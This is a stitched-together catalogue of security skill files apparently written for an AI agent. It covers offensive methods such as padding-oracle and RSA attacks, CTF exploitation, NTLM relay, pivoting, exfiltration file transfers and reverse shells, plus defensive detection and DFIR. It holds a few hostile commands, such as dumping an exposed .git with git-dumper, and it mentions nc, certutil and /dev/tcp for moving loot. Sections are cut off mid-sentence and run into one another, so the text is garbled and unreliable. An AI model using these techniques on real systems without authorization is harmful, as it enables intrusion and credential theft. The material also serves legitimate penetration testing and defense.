focuses on the places safety is opted out of, the ways Rust code still panics or mis-handles input,
and ordinary injection/logic in web handlers.
## Why it works
Rust's guarantees hold only outside `unsafe` and only for memory safety — they don't stop SQL built
by string, a command run via a shell, a `.unwrap()` that panics on attacker input (DoS), or a logic
error. Concentrating on those boundaries finds the real bugs efficiently.
## Sinks & patterns (grep, then reason about the boundary)
- **`unsafe` blocks**: every one is a manual proof obligation — raw pointer deref, `get_unchecked`,code-review-secrets-detection
When your agent uses it

# Secrets detection
## When it applies
Any source you can read: an in-scope repo, an exposed `.git/` on a web server, public GitHub
repos of the org, or CI/CD config. Live secrets are direct, high-impact findings.
## Why it works
Secrets get committed and then "removed" — but git keeps history, so they persist in old
commits, branches, and stashes. Config/CI files and client bundles also embed keys that ship to users.
## Method
1. **Scan history, not just HEAD**: `trufflehog git file://. --only-verified` or
`gitleaks detect --source . -v` — these walk every commit and (trufflehog) verify keys live.
2. **Exposed .git on a target**: `git-dumper http://target/.git/ out/` then scan the recovered repo.code-review-solidity

Load when reviewing a smart contract / web3 codebase or PR, on .sol source in scope, or "audit this contract".

# Solidity / smart-contract review
## When it applies
Reviewing on-chain code (a protocol, a token, a bridge). Smart-contract bugs are usually
irreversible and directly financial, so the review bar is high and the classic patterns are
well known — start there, then look for economic/logic flaws unique to the protocol.
## Why it works
The EVM executes exactly as written with real money at stake: an external call can re-enter before
state updates, arithmetic wraps, and a missing modifier means anyone can call a privileged function.
Most losses trace to a small set of patterns a careful read (plus Slither/Mythril) will surface.
## Sinks & patterns (read, then reason about ordering and trust)
- **Reentrancy**: state changed *after* an external call/`.call{value:}`/token callback (ERC-777/721crypto-oracle-attacks
When your agent uses it
Break weak symmetric crypto in real apps — decrypt or forge encrypted tokens/cookies without the key via padding oracles (CBC), ECB block shuffling, and hash-length-extension of homemade MACs. Load when the app hands you ciphertext you can tamper with and resend: an encrypted cookie/token, a "state"/"data" blob, an IV+ciphertext, a `H(secret‖msg)` signature, base64 that changes on edit.

# Oracle & symmetric-crypto attacks
## When it applies
An app protects data with symmetric crypto you can poke — an encrypted session cookie, a
"remember me"/state token, a signed-with-a-hash parameter — and it lets you submit modified
ciphertext and observe a difference (an error vs. success, a padding error, different output). That
observable difference is an oracle you can turn into full decrypt/forge, no key needed.
## Why it works
Encryption without authentication is malleable: CBC leaks validity through padding errors, ECB
reveals structure and lets you rearrange blocks, and `MAC = H(secret‖message)` (Merkle–Damgård) can
be extended without knowing the secret. The key never leaks — the *mode/construction* does the work.
## Methodcrypto-rsa-attacks
When your agent uses it
Break RSA when parameters or padding are weak — recover plaintext or the private key from a public key and ciphertext. Load when you meet RSA in auth/tokens/TLS/custom crypto and have (n, e) + a ciphertext. Signals: a public key or n/e/c values, small exponent e=3, "textbook RSA", a JWT signed RS256 with a suspicious key, RsaCtfTool, factordb, close/shared primes, key you can't verify.

# RSA attacks
## When it applies
RSA is used somewhere you can reach on an authorized target — a session token/cookie, a licence
check, a custom API request signature, a JWT (RS256), or an exposed keypair — and you can read the
public key `(n, e)` and a ciphertext/signature. Real systems get RSA wrong in a handful of
repeatable ways; each has a direct recovery.
## Why it works
RSA is only as strong as its parameters and padding. "Textbook" RSA (no OAEP/PSS) is malleable and
deterministic, small or shared parameters are mathematically reversible, and a factorable modulus
hands you the private key outright. You don't break RSA — you exploit the specific weakness in *this*
key.

# CTF crypto challenges
## When it applies
The handout is a short encryption script (`chall.py`, rarely sage), a set of numbers
(`n, e, c` / intercepted ciphertexts), or an `nc` service that encrypts/signs things for you.
This skill covers the CTF shapes — reading the script for the flaw, XOR games, homemade ciphers,
and math tooling. For the deep attack mechanics it defers to `crypto-rsa-attacks` and
`crypto-oracle-attacks`; run the RSA battery there first.
## Why it works
CTF crypto is a *code review against math*: the script is short, self-contained, and contains
exactly one mistake the author planted — a reused nonce, a factorable `n`, an invertible
homegrown round function, or an oracle the service hands you. Find the one line that looks
"clever" and the challenge is usually done; the rest is algebra.ctf-forensics

# CTF forensics and stego
## When it applies
The handout is an artifact to investigate: a packet capture, memory dump, disk image, or an
innocent-looking media file. This skill is the CTF quick-win battery — the 80% of challenges that
fall to standard tooling run in the right order. For real-IR depth (timelines, root cause,
attacker methodology) defer to `defense-dfir-triage`, `defense-malware-triage`,
`defense-log-analysis`; here the only objective is finding the flag in the haystack.
## Why it works
CTF forensics artifacts are constructed, not organic: the flag was placed by an author using a
standard technique (appended data, an HTTP download, a deleted file, an LSB embedding), and each
technique has a canonical tool. Running the *standard battery in order* surfaces the planted
artifact faster than clever hypotheses, because the author used the same tools you have.ctf-methodology
When your agent uses it
CTF challenge triage and time management — identify the category and intended technique from the handout artifacts in the first 10 minutes, budget points vs. time, and know when to park a challenge.

# CTF methodology: triage and time budgeting
## When it applies
You're working jeopardy-style CTF challenges (authorized by definition — the organizer hands you the
targets). This skill is the entry point: it classifies the challenge, picks the category playbook
(`ctf-web`, `ctf-pwn`, `ctf-crypto`, `ctf-rev`, `ctf-forensics`), and keeps you from sinking three
hours into a 100-point guessy challenge.
## Why it works
CTF challenges are *designed* puzzles with an intended path, and the handout almost always telegraphs
it: the category, the files provided, the service type, the description's wordplay. Reading those
signals first converts "stare at an unknown blob" into a 2-minute routing decision, and a point/time
budget converts sunk-cost grinding into deliberate moves.
ctf-pwn
When your agent uses it
CTF pwn challenge playbook — fast pwntools workflow against "nc host port" services: reproduce the remote environment locally with the provided libc/ld (patchelf, Docker), exploit format-string bugs (the CTF staple) for leaks and writes, and iterate a script from crash to flag. Load when the handout is a binary plus connection info. Signals: "pwn" category, nc host port, checksec output, provided libc.so.6/ld-linux, Dockerfile, "%p" reflections, menu-driven heap note apps.

# CTF pwn challenges
## When it applies
The handout is a binary, usually with `nc host port`, often with a bundled `libc.so.6` +
`ld-linux-x86-64.so.2` and sometimes a Dockerfile. This skill covers the CTF-specific *workflow* —
environment reproduction, remote iteration, and format-string handling. For the exploit chains
themselves (ret2libc/one_gadget, tcache/fastbin/unsorted techniques, kernel pwn, stabilization),
work `exploit-pwn-chain`; for finding the bug, `reverse-eng-binary-triage` and
`exploit-memory-corruption`.
## Why it works
CTF pwn is deterministic: the organizer ships you the exact remote environment (libc, ld, sometimes
the whole image), so "local works, remote crashes" is a *choice*, not a hazard — if you run the
provided libc locally, offsets are identical and the only remote variables left are ASLR (leak it)ctf-rev
When your agent uses it
CTF reversing speed-run — crack flag-check binaries fast: locate the check via strings/xrefs, bypass anti-debug and obfuscation, and solve constraint-checkers with z3 instead of manual algebra. Load when the handout is an ELF/PE/exe that asks for input or a key.

# CTF reverse engineering speed-run
## When it applies
The handout is a binary that checks something — a flag, key, serial, or password — and you need
the accepted input. This skill is the CTF *workflow*: find the check fast, defang whatever stops
you from seeing it, and solve the constraints mechanically. For deep tool use defer to
`reverse-eng-binary-triage` (first-pass recon), `reverse-eng-radare2` / `reverse-eng-ghidra` /
`reverse-eng-ida` (analysis), `reverse-eng-deobfuscation` (unpacking/devirtualization).
## Why it works
A flag-checker is a pure function from input to accept/reject, and CTF ones are small. You never
need to understand the whole binary — only the check — so the game is *locating* it (strings and
xrefs beat linear reading), *exposing* it (anti-debug and packing are thin in CTF), and *solving*
it (the constraints are almost always z3-shaped; manual algebra is the slow path).ctf-web
When your agent uses it
CTF web challenge playbook — the recurring shapes jeopardy web challenges take: source disclosure (.git, backups, flask debug), SSTI/SSRF in their CTF forms, PHP quirks (type juggling, wrappers, filters), cookie/JWT games, and chained primitives to read /flag.

Signals: "web" category, flask/werkzeug or PHP banner, /flag or flag.txt on the box, robots.txt, provided app.py/index.php source, JWT or flask session cookie.

# CTF web challenges
## When it applies
The handout is a URL (sometimes plus source). The goal is almost always to read a flag file
(`/flag`, `/flag.txt`, an env var, or a DB row) — so every bug you find should be steered toward
*read a file*, *run a command*, or *become admin*. This skill is the CTF routing layer; work the
deep techniques with `web-ssti`, `web-ssrf`, `web-sqli`, `web-lfi-path-traversal`, `web-auth-jwt`,
`web-deserialization`, `web-command-injection`, `web-file-upload`.
## Why it works
CTF web challenges strip an app to one intended bug plus decorations, so the surface is small and
the bug is findable by *enumeration*, not luck. Provided source turns black-box guessing into
reading comprehension; the framework banner (Flask/PHP/Express) predicts the bug class before you
send a request.defense-ad-defense

# Active Directory defense
## When it applies
You run an AD domain and need to catch the standard attacker toolkit and close the structural weaknesses
it relies on — before or after a foothold.
## Why it works
Most AD attacks abuse features, not bugs, so they leave predictable event signatures and depend on
specific misconfigurations. Watch the right events and remove the preconditions, and the common
paths (the ones BloodHound finds) simply close.
## Method
1. **Kerberoasting (T1558.003)**: alert on Event `4769` (TGS request) with RC4 (`0x17`) encryption
or high volume from one account. Harden: strong (25+ char) managed service-account passwords,defense-cloud-detection

# Cloud detection & response
## When it applies
Your assets live in AWS/Azure/GCP and you need to catch control-plane abuse — stolen keys, a role
assumed from a strange place, new persistence — using the provider's audit logs.
## Why it works
Every cloud API call is logged (CloudTrail / Azure Activity / GCP Admin Activity). Attacks that are
invisible on the host (assuming a role, reading a secret, adding a key) are loud in the control
plane — if you're actually reading it. The identity *and* the calling context are in every event.
## Method
1. **Guarantee the telemetry**: CloudTrail (all regions + management & data events), Azure Activity
+ Entra sign-in logs, GCP audit logs — centralised and immutable. No logs → no detection.defense-detection-engineering
When your agent uses it
Build detections as a repeatable pipeline, not one-off alerts. Load for "improve our detections", "detection as code", "reduce false positives", "measure ATT&CK coverage", or turning a red-team finding into durable blue-team coverage. Complements defense-detection-sigma (the rule format).

# Detection engineering (the pipeline)
## When it applies
You have alerts but no system: rules nobody trusts, unknown coverage, and detections that die on
the next log-schema change. This is the lifecycle that turns "we should alert on X" into a tested,
versioned, measured detection.
## Why it works
Detections are software. Treating them as code — with a source of truth, tests, and a coverage
metric — is what separates a SOC that improves from one that just accrues noise. ATT&CK gives a
shared map so coverage and gaps are countable, not vibes.
## Method
1. **Start from a threat, not a log**: pick an ATT&CK technique relevant to your org (threat modeldefense-detection-sigma
When your agent uses it
Write portable detections as Sigma rules and map them to MITRE ATT&CK, then convert to your SIEM. Load for blue-team/detection-engineering tasks: "write a detection", "sigma rule", "alert on", turning an offensive technique or an incident into a repeatable detection.

# Detection engineering with Sigma
## When it applies
You need a detection that survives a SIEM change: express the logic once in Sigma (a generic
YAML rule format), then compile to Splunk/Elastic/Sentinel/etc. Pairs with offensive skills —
every technique you learn to run, you can learn to catch.
## Why it works
Sigma abstracts log-source + condition from backend query syntax, so one rule ports across
SIEMs and reviews cleanly. Mapping to ATT&CK gives coverage you can measure and gaps you can see.
## Method
1. **Pick the behaviour, not the artifact**: detect the technique (e.g. suspicious child of
`w3wp.exe`, `certutil` download, new service creation), not a single hash/IP that rotates.defense-dfir-triage
When your agent uses it
First-response DFIR triage: scope an incident, collect volatile evidence, and find attacker activity on Linux/Windows. Load on "incident", "we got breached", "investigate this host", "IOCs", suspected compromise, or forensic triage. Signals: alert to investigate, suspicious host, "what happened".

# DFIR triage & investigation
## When it applies
A host or account is suspected compromised and you need to determine what happened, scope it,
and preserve evidence — quickly, without destroying volatile data.
## Why it works
Attacker activity leaves artifacts across a known set of locations (execution, persistence,
logons, network). A disciplined order — preserve volatile first, then map to ATT&CK — gives a
timeline and scope instead of a guess.
## Method
1. **Preserve volatile first** (order of volatility): memory (if warranted), then running
processes, network connections, logged-on users — before shutdown/changes.defense-forensics
When your agent uses it
Deep forensic artifact analysis after triage — memory dumps (Volatility 3), disk and super-timelines (Plaso), PCAP (tshark), and Windows host artifacts (Zimmerman toolset) — with hashing and chain of custody. Load when an incident moves past first response into "prove what the attacker did on this image": a memory dump to analyze, an E01/disk image, a captured pcap, or Prefetch/Shimcache/Amcache deep-dives. Signals: .dmp/.raw memory image, E01, pcap/pcapng, "analyze this dump", timeline reconstruction, evidence preservation.

# Deep forensic artifact analysis
## When it applies
Triage (`defense-dfir-triage`) has scoped the incident and you now hold preserved evidence —
a memory dump, a disk image (E01/raw), a PCAP, or exported host artifacts — and must prove,
artifact by artifact, what the attacker did: which process ran, what persisted, what left the
network. This is deep analysis of dead-box/dead-disk evidence, not live first response.
## Why it works
Attackers can delete logs, but memory, filesystem metadata ($MFT, USN journal), and packet
captures retain artifacts the attacker never controlled. Parsing them with purpose-built tools
reconstructs execution, persistence, and exfiltration even after the live system was cleaned —
and hashing plus chain of custody makes the conclusions defensible.

# Hardening baselines & remediation
## When it applies
You need the defensive counterpart: how to fix a class of bug, or how to configure a system so
the class can't occur. Pairs with every offensive skill's "why it works".
## Why it works
Most vuln classes have a small set of correct, well-known mitigations. Applying the right control
at the right layer (input handling, authz at the data layer, safe defaults) removes the class,
not just the instance.

# Incident response
## When it applies
A confirmed or suspected compromise needs a coordinated response — not just analysis, but decisions
about containment, eviction, and recovery under time pressure.
## Why it works
A repeatable lifecycle keeps a stressful event from becoming chaos: it sequences the actions so you
scope before you contain, contain before you tip off the adversary, and eradicate fully before you
recover — the mistakes that turn one incident into three.
## Method (NIST / PICERL lifecycle)

# Log analysis & threat hunting
## When it applies
You have logs (or a SIEM) and need to find attacker activity — during triage, IR, or proactive
hunting. Pairs with each offensive skill: know the attack, hunt its footprint.
## Why it works
Attacks leave patterns across log sources. Hunting hypothesis-first (pick a technique → query its
signature → pivot on hits) beats scrolling. The same ATT&CK technique shows up in auth, web, cloud,
and endpoint logs in characteristic ways.
## Method — by source, what to look for
1. **Authentication**: spikes of 4625/failed logins then a 4624 success (brute force → `web-rate-limit-bypass`);
logins from new geos/ASNs/impossible travel; new/again-enabled accounts; MFA fatigue (many prompts).defense-malware-triage

# Malware triage
## When it applies
You have a sample (a dropped binary, a macro-laden document, a suspicious script) or a live process
and need a fast verdict plus IOCs — not full reverse engineering, but enough to decide and to feed
detection/IR.
## Why it works
Most samples reveal their nature cheaply: capabilities, embedded strings, and behaviour appear long
before you need a disassembler. Triage front-loads the cheap signals and only escalates to deep RE
when the verdict is still unclear — so you get IOCs fast without burning hours per file.
## Method
1. **Handle safely**: work in an isolated VM/network, never on a production host. Treat the sample asdefense-network-detection
When your agent uses it
Detect attacker activity in network telemetry — C2 beaconing, DNS tunnelling, data exfil, and lateral movement.

# Network detection (NSM)
## When it applies
You have network visibility (a tap/SPAN, Zeek/Suricata logs, or NetFlow) and want to catch activity
that endpoint tooling misses — especially C2 and exfil that look like ordinary connections.
## Why it works
Malware still has to talk. Even encrypted C2 leaks *behavioural* tells the payload can't hide:
regular call-home intervals, tiny requests with large responses, odd JA3/JA4 TLS fingerprints, and
destinations no user browses to. Metadata beats payload inspection in a TLS world.
## Method
1. **Beaconing**: hunt for connections at regular intervals with low jitter to the same destination
(RITA's beacon analysis over Zeek `conn.log`); score by consistency, not volume.defense-purple-team
When your agent uses it
Run a purple-team exercise — emulate specific attacker techniques and validate detection/response end to end.

# Purple teaming (emulate → detect → improve)
## When it applies
You want to *measure and improve* detection, not just find bugs. Purple teaming runs known
attacker techniques in a controlled way and checks whether each is prevented, detected, and
responded to — closing the loop between offense and defense.
## Why it works
Detections are only real if they fire on the actual technique. Emulating each technique and
watching the telemetry proves coverage, exposes blind spots, and produces tuned detections —
turning "we think we'd catch it" into evidence.
## Method
1. **Pick techniques from real risk**: map to MITRE ATT&CK, prioritized by your threat modeldefense-threat-hunting
When your agent uses it
Hunt for intrusions no alert fired on — hypothesis-driven, ATT&CK-guided searching across EDR and logs.

# Threat hunting
## When it applies
You suspect activity that evaded detections, or you want to proactively look for a specific
technique/actor. Hunting assumes breach and searches telemetry for evidence, rather than waiting for
an alert.
## Why it works
Detections encode what you already anticipated; hunting finds what you didn't. Framing a falsifiable
hypothesis around an ATT&CK technique focuses the search on data that would prove or disprove
compromise, and every confirmed pattern becomes a new detection — so coverage grows.
## Method
1. **Form a hypothesis**: specific and testable — "an adversary is using WMI for lateral movementdefense-threat-intel

# Threat intelligence from public sources
## When it applies
A defensive task needs public-source enrichment: vetting IOCs (domains, IPs, URLs, hashes, emails,
wallet addresses), tracking publicly disclosed malicious campaigns, phishing activity,
impersonation accounts, or scam narratives — or turning public X/Twitter chatter into leads that
samples, network telemetry, or vendor sources must then verify. Confirm the collection is bounded
up front (see `tradecraft-scope-roe`): target entities, time window, and intended use of the
results. This skill does **not** cover brand marketing, engagement growth, automated posting, or
social analytics with no security purpose.
## Why it works
Public posts surface malicious infrastructure and campaigns early — often before vendor coverage —
but a post only proves that *a claim was published at a time*, never attribution, exploitability,defense-threat-modeling
When your agent uses it
Threat-model a system or feature (STRIDE + attack trees) to find design-level risk before code. Load on "threat model", a new design/architecture review, security design questions, or planning controls. Signals: architecture diagram, data-flow, "what could go wrong", pre-build security.

# Threat modeling (STRIDE + attack trees)
## When it applies
Before or during design — a new feature, service, or architecture — to find what can go wrong at
the design level, where fixes are cheapest. Pairs offense knowledge with a structured method.
## Why it works
Most breaches exploit design gaps, not just code bugs. Systematically walking each component and
data flow against a threat taxonomy surfaces missing controls (authz, validation, isolation) that
ad-hoc review misses, and produces a prioritized list of controls and tests.
## Method
1. **Model the system**: draw the data-flow diagram — external entities, processes, data stores,
and trust boundaries (where data crosses privilege levels). The boundaries are where threats concentrate.exploit-chaining
When your agent uses it
Combine low/medium findings into one high-impact exploit chain, and amplify demonstrated impact.

# Exploit chaining & impact amplification
## When it applies
You have bugs that are individually "meh" (self-XSS, an info leak, an open redirect, a weak
CSRF) and need to turn them into something a program pays for — or a pentest foothold that needs
several bugs stacked.
## Why it works
Impact is compositional. One bug supplies a precondition another needs: a leak provides the id
IDOR needs; an open redirect makes OAuth leak a token; SSRF reaches the metadata service that
yields cloud creds. The chain's severity is the *end* impact, not the weakest link.
## Method
1. **Inventory every finding** with what it gives and what it needs (primitive in / out).exploit-memory-corruption

# Memory-corruption exploitation
## When it applies
You have a native binary or service on an authorized target that mishandles your input — a
network-facing daemon, a thick-client, a setuid helper found during `privesc`, or a binary carved
from firmware (`reverse-eng-firmware`). `reverse-eng-binary-triage` located the bug; this skill turns
that crash into controlled execution. Pentest-only — this is destructive and can crash the service.
## Why it works
C/C++ has no memory safety: writing past a buffer overwrites saved return addresses and pointers, and
a user-controlled format string reads/writes arbitrary memory. Redirect execution to your code or to
existing code (ROP) and the process does your bidding. Modern mitigations (NX, ASLR, PIE, stack
canaries) don't remove the bug — they shape the technique.

# PoC / exploit development (authorized targets)
## When it applies
You've identified a vulnerability (a versioned CVE, or your own discovered bug) and need a
reliable proof-of-concept to demonstrate impact on an authorized target.
## Why it works
A version+advisory tells you the root cause and the primitive; a methodical build turns that
into repeatable code. For 1-days, most of the work is *understanding and adapting*, not inventing.
## Method
1. **Identify precisely**: exact product+version → advisory/CVE → root cause and affected code
path. `searchsploit <product version>`; read the advisory and any public PoC.
2. **Understand before running**: never fire an unread exploit at a target — read the code, knowexploit-pwn-chain

# Pwn chain: bug to working exploit
## When it applies
You already know where it crashes — `reverse-eng-binary-triage` or `exploit-memory-corruption`
found the overflow/UAF/double-free — and now you must produce a *stable* exploit against the real
remote target, not a script that only works on your laptop. Covers userspace stack pwn, glibc heap
exploitation, and Linux kernel/driver pwn (e.g. an ioctl bug for privesc). Pentest-only; note the
crash risk in the RoE (`tradecraft-scope-roe`).
## Why it works
A local win and a remote win differ by engineering, not by the bug: the remote libc version, ASLR
slide, stack alignment, network buffering, and heap layout all shift. The chain is always the same —
model the protections, leak what randomization hides, build the primitive (ROP/poisoned
bin/sprayed object), then iterate against the real environment until the success rate is measured,hardware-ot-ics

# OT / ICS security assessment (passive-first)
## When it applies
The engagement touches an industrial environment — PLC/RTU controllers, SCADA/DCS, HMIs,
engineering workstations, historians, jump hosts, or the IT/OT boundary (firewall rules, data
diodes). **A misstep here can cause physical harm, not just downtime.** Load `tradecraft-scope-roe`
and require the written authorization to spell out: the site and network segments, whether active
scanning is allowed, and whether writing coils/registers is allowed — **the default for both is
NO**. Work passive-first; nothing touches a PLC's state until the scope explicitly says so.
## Why it works
Industrial protocols (Modbus, S7comm, DNP3, EtherNet/IP) predate hostile networks: they run in
cleartext with no authentication (`CWE-306`), so anyone who can reach the port can read process
state — and usually write it. That's exactly why the assessment itself is the risk: a high-ratehardware-radio-sdr

# RF / SDR signal analysis (non-Wi-Fi radio)
## When it applies
The scope includes a radio device that isn't Wi-Fi — a wireless remote, key fob, alarm sensor,
telemetry link, or ISM-band gadget — and you need to know whether an attacker can eavesdrop on,
forge, or replay its traffic. **Spectrum use and transmission are heavily regulated**: load
`tradecraft-scope-roe` and make `scope.txt` state the exact devices, frequency bands, and whether
**transmitting is permitted at all — the default is receive-only**. Classic Wi-Fi attacks belong to
the wireless domain (`wireless-wpa2-attacks`, `wireless-evil-twin`); this skill is generic SDR RF.
## Why it works
Cheap SDR hardware (RTL-SDR for receive, HackRF for transmit) turns a wide slice of spectrum into
raw I/Q samples. Most low-cost remotes and sensors use simple, unauthenticated modulation
(OOK/ASK/2-FSK) with fixed or rolling codes, so the entire protocol is recoverable from a capture:hardware-security
When your agent uses it
Discover and triage hardware debug interfaces (UART, JTAG, SWD) on an authorized embedded device — read boot logs, land a root console, interrupt the bootloader, and extract flash for offline analysis. Load when handed a physical device, PCB, or IoT/embedded target in scope, exposed test points or header pins, a serial console, U-Boot prompt, or a flash chip to dump. Signals: TX/RX/GND pads, silkscreen labels, baud-rate guessing, IDCODE enumeration.

# Hardware debug-interface triage (UART / JTAG / SWD)
## When it applies
You have **physical access to a device you own or are explicitly authorized to open** — a router,
IoT gadget, embedded controller, or a board pulled from a larger system — and you need console
access or a firmware image. Hardware work is governed by the same envelope as everything else:
load `tradecraft-scope-roe` first and confirm the physical device and the teardown itself are in
`scope.txt`. Never open or probe a device that isn't yours or in writing.
## Why it works
Vendors leave debug and factory-test interfaces on the board: a UART serial console for boot logs
(often a root shell), and JTAG/SWD for chip-level debugging and memory readout. These ports bypass
all software authentication on the running system — if you can electrically reach them and match
the logic levels, the device talks to you. Bootloader consoles (U-Boot) additionally let you altermobile-android-assessment

# Android app assessment
## When it applies
You have an APK (or a device/emulator running the app) and program scope covers the mobile
client + its backend. Most impactful mobile bugs are really API bugs the app exposes, plus
local data/secret leaks.
## Why it works
Client apps ship their logic and often their secrets. Decompilation reveals endpoints, keys,
and auth flows; exported components and WebViews expose attack surface; and the app trusts its
own device, so runtime instrumentation removes checks the server assumed were enforced.
## Method
1. **Unpack & triage**: `apktool d app.apk` (resources/manifest) and `jadx-gui app.apk`mobile-apk-reverse

# APK reversing (unpack → patch → hook)
## When it applies
You have an APK and a device/emulator you're authorized to test (`tradecraft-scope-roe`,
`scope.txt`), and the job is mechanics: read the logic, locate a check, patch and repackage, or
hook the runtime. For the broader *what-to-test* coverage map, work `mobile-android-assessment`
alongside — this skill is the reverse-engineering toolchain it routes into.
## Why it works
An APK is a zip of DEX bytecode plus resources. DEX decompiles to near-readable Java (jadx) and
round-trips losslessly through smali (apktool), so you can read at the Java level but patch at the
smali level and rebuild. Anything the app hides from static reading — decrypted strings, runtime
checks, pinning — yields to Frida instrumentation on a rooted/emulated device.

# Certificate pinning bypass
## When it applies
The app pins its server cert, so a normal MITM proxy (Burp/mitmproxy) can't decrypt its
traffic — you get handshake errors and empty history. You need to test the backend, so the pin
has to go.
## Why it works
Pinning is enforced in the client you control. At runtime you can replace/neutralize the
verification routine; statically you can patch it out. Either way the app then trusts your
proxy's CA.
## Method
1. **Install your CA** first: add Burp/mitmproxy CA to the device (Android 7+ needs it as amobile-deeplink-abuse

# Deep link / URL scheme / intent abuse
## When it applies
The app registers custom URL schemes or App/Universal Links, or exports activities that accept
data. A malicious link (in a web page, another app, or a QR) can then drive the app.
## Why it works
Deep-link handlers receive attacker-controlled data and often trust it: they redirect, load it
into a WebView, pass it to auth flows, or open privileged screens without re-checking who sent
the intent. Custom schemes aren't verified for ownership (unlike App Links), so any app can claim them.
## Method
1. **Map handlers**: from the manifest, list `intent-filter` schemes/hosts and exported
activities; read `jadx` for how each parameter is used.mobile-ios-assessment

# iOS app assessment
## When it applies
You have an IPA (or an app on a jailbroken test device) and scope covers the iOS client + its
backend. As with Android, most impact is the backend reached through the app, plus local data /
keychain leaks and insecure IPC (URL schemes, universal links).
## Why it works
The app ships its logic and secrets, and trusts its own device. Decryption + class-dump reveal
endpoints and Obj-C/Swift classes; the Keychain and app container often hold tokens; and runtime
instrumentation removes jailbreak/pinning checks the server assumed held.
## Method

# Mobile WebView abuse
## When it applies
The app shows web content in a WebView (Android `WebView` / iOS `WKWebView`) and either exposes a
native JS bridge or loads URLs/content an attacker can influence (deep link, param, MITM'd http).
## Why it works
WebViews blur the web/native boundary. A JS bridge (`addJavascriptInterface` /
`WKScriptMessageHandler`) lets page JavaScript call native code — so XSS or a malicious loaded page
can invoke native functionality. Misconfig (`setAllowFileAccess`, `setJavaScriptEnabled`, mixed
content) widens it to local file theft.
## Method
1. **Find the WebView config** in `jadx`/class-dump: `setJavaScriptEnabled(true)`,network-appliance-attacks

# Perimeter appliance & VPN offensive testing
## When it applies
An internet-facing appliance is in scope — a firewall/SSL-VPN (FortiGate, PAN-OS/GlobalProtect,
Cisco ASA, Citrix NetScaler, Ivanti/Pulse), a Check Point gateway, or a load balancer — and you
must *test the live device*, not just audit its config (`network-service-attacks` covers generic
ports/SMB; `defense-hardening-baseline` is the config-audit counterpart). Edge appliances are today's number-one
initial-access vector, so a version→CVE call has to be precise.
## Why it works
Appliances expose crypto and management surfaces that leak more than they should: IKE aggressive
mode hands out a crackable PSK hash, unauthenticated NTLM challenges leak internal host/domain
names, and login pages/certs disclose enough to pin a firmware version. The trick is discipline:
**infer, don't assume** — a version banner alone never proves a CVE, because banners arenetwork-credential-cracking

# Credential & hash cracking
## When it applies
You've captured something crackable — an application DB hash, a Windows NTLM/NetNTLMv2 hash, a
Kerberos ticket (`ad-kerberoasting`), or a WPA2 handshake — and the plaintext unlocks the next step
(login, lateral movement, privesc). This is the offline counterpart to `network-password-spraying`.
## Why it works
Most stored credentials are one-way hashes, but users pick guessable passwords and many hash schemes
are fast to compute. Given the format, you brute the hash offline against a wordlist (optionally
mutated by rules) at millions/billions of guesses per second — no lockout, no network.
## Method
1. **Identify the format first — this is the whole game.** `hashid`/`haiti` on the sample, and looknetwork-database-security

# Database security assessment
## When it applies
An authorized engagement has a reachable database instance — surfaced by `network-service-attacks`,
handed over as a review target, or via app credentials recovered from a config dump. Covers
PostgreSQL, MySQL/MariaDB, MSSQL, MongoDB, and Redis. Before touching anything, confirm in
`scope.txt` (see `tradecraft-scope-roe`): which instances, which accounts, and **whether
write/delete/exec is permitted**. On production systems, default to read-only proofs — no
destructive statements unless explicitly allowed.
## Why it works
Databases concentrate the crown jewels yet are routinely deployed as "internal-only": bound to
`0.0.0.0`, default or weak accounts, grants far wider than the app needs, and dangerous features
left enabled. Features like `xp_cmdshell`, `COPY ... FROM PROGRAM`, UDFs, and Redis's writablenetwork-email-security
When your agent uses it
Email security review: dissect phishing samples (headers, URLs, attachments), assess a domain's spoofability via SPF/DKIM/DMARC alignment, recognize BEC patterns, and audit tenant anti-phishing controls incl.

# Email security & phishing analysis
## When it applies
Two authorized jobs (`tradecraft-scope-roe`): **(a) defensive** — dissect a reported phishing
email or BEC attempt, extract IOCs, and recommend tenant controls (`defense-*` context); **(b)
offensive** — assess whether an in-scope domain can be spoofed (SPF/DKIM/DMARC posture) as
findings for a report. Sending simulated phishing is a separate, **pentest-only** track — load
`social-eng-methodology` first and never run it against a bug-bounty target. Never re-deliver
malicious samples to real users, and never mass-test third-party domains.
## Why it works
Spoofing succeeds when a domain's authentication records are missing, weak (`~all`, `p=none`), or
misaligned — the receiving server then has no cryptographic reason to reject a forged `From`. And
even with perfect auth, the *display name* and *Reply-To* are unauthenticated, which is what BECnetwork-ntlm-relay

# NTLM coercion & relay
## When it applies
You're on an AD network (unauthenticated or with a foothold) and want to move laterally or escalate
without cracking passwords. If SMB signing isn't enforced (or you target LDAP/ADCS), you can relay
a victim's NTLM authentication to a service and act as them.
## Why it works
NTLM authentication isn't bound to the channel: if you can make a machine/user authenticate to *you*
(coercion or poisoning), you forward that authentication to another service. Without signing
(SMB) or channel binding (LDAP/HTTP), the target accepts it, and you get access as the coerced identity —
often a computer account with local admin elsewhere, or a DC to ADCS.
## Methodnetwork-password-spraying

Low-and-slow credential attacks against exposed auth surfaces — spray one password across many users, and stuff known breach creds — without locking accounts.

# Pivoting & tunneling
## When it applies
You have a foothold on host A, and the objective (or the next host B) is only reachable from
A's network. You need to route your tools through A.
## Why it works
The foothold sits inside the trust boundary. A tunnel turns that host into a router/proxy so
your attack host can reach internal services as if it were on that subnet.
## Method
1. **Discover internal reach** from the foothold: `ip a`/`ipconfig`, `arp -a`, and scan the
internal range for live hosts/ports (upload a static scanner or use built-ins).
2. **Pick a tunnel**:network-service-attacks

# Network service enumeration & attack
## When it applies
Recon exposed non-web services. Each is its own attack surface: anonymous access, default/weak
creds, known-CVE versions, and info leaks that feed the next step. (See `recon-arsenal` for the
discovery arsenal; this is the exploit routing per service.)
## Why it works
Internal-style services are frequently deployed with defaults, anonymous binds, or no auth
because they were "not meant to be exposed". Version banners map straight to public exploits.

# File transfers
## When it applies
You have a shell and need to stage a tool onto the target, or pull data/loot back to your box, and
there's no shared filesystem. Pick the method by what the target has (Linux vs Windows, which
binaries exist) and whether you're reaching it directly or through a pivot. `$LHOST` is your box.
## Why it works
Almost every host can speak HTTP, SMB, or raw TCP with something already installed — a language
runtime, `certutil`, `bitsadmin`, `nc`, or `/dev/tcp`. You host the file on your side and pull it
with whatever the target has; for exfil you reverse the direction. Base64 copy-paste works even with
no network path at all.

# Reverse shells & TTY upgrade
## When it applies
You have command execution and want an interactive shell on an authorized target. Pick the payload
that matches what's installed on the victim, catch it on a listener, then upgrade it so editors,
job control, and tab-completion work. `$LHOST`/`$LPORT` below are your attacker IP and port.
## Why it works
